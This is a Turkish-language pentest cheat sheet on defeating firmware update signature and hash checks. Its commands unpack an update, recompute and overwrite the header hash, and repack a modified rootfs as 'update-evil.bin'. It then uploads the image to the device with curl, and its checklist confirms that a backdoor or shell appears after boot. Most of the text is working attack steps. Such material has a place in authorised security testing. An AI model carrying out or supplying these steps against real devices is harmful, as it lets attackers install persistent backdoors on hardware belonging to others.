Firmware Integrity

hardware integrity

Güncelleme paketinde imza yoksa, sadece hash varsa veya doğrulama client-side ise modifiye firmware yüklenerek backdoor eklenir.

Metodoloji

1. Resmi update paketini indir; format ve imza blob’unu ayır.

2. İmza algoritmasını ve public key konumunu bul (firmware veya updater).

3. Hash-only / truncation / TOC-TOU zayıflığını doğrula.

4. Patch’li rootfs’i yeniden paketleyip kabul ettir.

Paket inceleme

file update.bin

binwalk update.bin

xxd update.bin | head -40

openssl asn1parse -inform DER -in sig.der 2>/dev/null | head

rg -nHi 'sha256|signature|verify|rsa|ed25519' updater/ extracted/

# Public key çıkarma
binwalk -e firmware.bin; find _firmware* -name '*.pem' -o -name '*public*'

Tipik zayıflıklar

İmza sadece header üzerinde; payload serbest

MD5/SHA1 hash client'ta hesaplanıp sunucuya güveniliyor

Length field ile imza blob truncate → partial verify bypass

# Hash yeniden hesapla ve header'a yaz (hash-only senaryosu)
sha256sum rootfs.img | awk '{print $1}' | xxd -r -p | dd of=update.bin bs=1 seek=OFFSET conv=notrunc

Yeniden paketleme

mksquashfs squashfs-root rootfs-new.sqsh -comp xz

cat header.bin rootfs-new.sqsh sig.bin > update-evil.bin

# Cihaza yükle (vendor web / tftp / USB)
curl -F 'file=@update-evil.bin' http://DEVICE/upgrade

Checklist

[ ] update formatı çözüldü
[ ] imza/hash kapsamı belirlendi
[ ] bypass hipotezi PoC ile doğrulandı
[ ] patch'li paket kabul edildi
[ ] backdoor/shell boot sonrası geldi